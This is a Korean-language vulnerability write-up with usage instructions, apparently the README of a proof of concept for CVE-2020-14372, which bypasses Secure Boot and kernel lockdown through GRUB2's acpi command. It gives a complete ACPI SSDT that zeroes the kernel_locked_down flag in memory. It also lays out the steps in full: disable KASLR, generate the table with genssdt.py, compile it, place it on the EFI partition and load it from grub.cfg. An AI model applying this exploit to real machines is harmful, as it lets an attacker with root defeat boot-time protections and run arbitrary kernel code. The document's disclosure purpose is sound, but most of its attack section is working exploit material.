CVE-2020-14372: (그다지) 안전하지 않은 Secure Boot를 하나의 "간단한 트릭"으로 우회하기

취약점 세부 정보

어느 날 GRUB2 콘솔에 "help"를 입력했더니 정말 "재미있는" 명령들이 보였습니다:

read_byte ADDR: ADDR에서 8비트 값 읽기
write_byte ADDR VAL: ADDR에 8비트 값 VAL 쓰기

나는 즉시 가장 재미있는 Secure Boot 우회 방법을 찾았다고 생각했지만, 이 명령들은 Secure Boot에서 다음과 같은 출력을 냅니다:

error: Secure Boot forbids loading module .../memrw.mod.

호기심에 이렇게 부팅한 상태에서 "acpi" 명령을 입력했더니, AML 파일을 지정하라는 사용법 메시지가 출력되었습니다. ACPI의 또 다른 이름이 "커널 컨텍스트에서 공급업체가 제공한 임의 코드를 실행하는 메커니즘"이라는 것은 잘 알려져 있습니다. Secure Boot가 활성화된 상태에서도 ACPI 테이블을 로드할 수 있으므로, 우리가 그 코드를 제공할 수 있는 "공급업체"인 셈입니다.

그러나 부팅된 커널의 데이터 세그먼트에는 커널이 "잠금(lockdown)" 상태인지 여부를 나타내는 1바이트 플래그(kernel_locked_down)가 있기 때문에, SSDT를 사용하여 그 플래그를 덮어쓰기만 하면 커널이 임의의 모듈을 로드하도록 할 수 있습니다.

다음 SSDT는 HACK이라는 "배터리" 개체를 생성하고, 커널이 항상 실행하는 해당 개체의 _INI 메서드에서 쓰기를 수행하여 이를 달성합니다:

DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

이 SSDT 생성에 도움이 되는 개념 증명 익스플로잇을 Python으로 작성했습니다. 하지만 손으로 직접 익스플로잇하는 것도 그리 어렵지 않습니다. 대략적인 절차는 다음과 같습니다:

커널 명령줄에 nokaslr을 추가하여 KASLR을 비활성화합니다.
KASLR 없이 부팅한 후 kernel_locked_down 심볼의 물리적 주소를 찾습니다.
위 SSDT에 해당 주소를 삽입한 다음 iasl을 사용하여 SSDT를 컴파일합니다.
마지막으로 GRUB2에 SSDT를 로드하도록 지시합니다.

PoC 사용 방법

가정:

공격자는 실행 중인 운영 체제에 대한 root 접근 권한을 가지고 있습니다.
Linux가 GRUB2 버전 <=2.02 (일부 2.02 빌드는 패치됨)와 함께 UEFI Secure Boot로 부팅되었습니다. 이 경우 커널 lockdown이 활성화됩니다.

위 가정이 충족되면 /etc/default/grub을 편집하고, GRUB_CMDLINE_LINUX_DEFAULT에 nokaslr을 추가한 다음, update-grub을 실행하고 마지막으로 재부팅합니다.

커널이 주소 공간 레이아웃 무작위화 없이 부팅된 후, genssdt.py 스크립트를 사용하여 lockdown을 비활성화하도록 커널 메모리를 런타임에 패치하는 "악성" SSDT를 생성할 수 있습니다:

python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

이제 SSDT가 생성되었으므로, GRUB가 이 SSDT를 로드하도록 GRUB 구성 파일(보통 /boot/grub/grub.cfg에 위치)을 편집해야 합니다 (이 파일의 맨 위에 다음을 추가):

acpi (hd0,gpt1)/evil_ssdt.aml

EFI 시스템 파티션(위에서 SSDT를 배치한 위치)이 디스크의 어디에 있는지에 따라 (hd0,gpt1)을 다른 값으로 바꿔야 할 수도 있습니다.

마지막으로 재부팅 후에는 커널 lockdown이 비활성화되어, root가 커널에서 임의의 코드를 실행할 수 있게 됩니다.

CVE-2020-14372

인기

CVE-2020-14372: (그다지) 안전하지 않은 Secure Boot를 하나의 "간단한 트릭"으로 우회하기

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PoC 사용 방법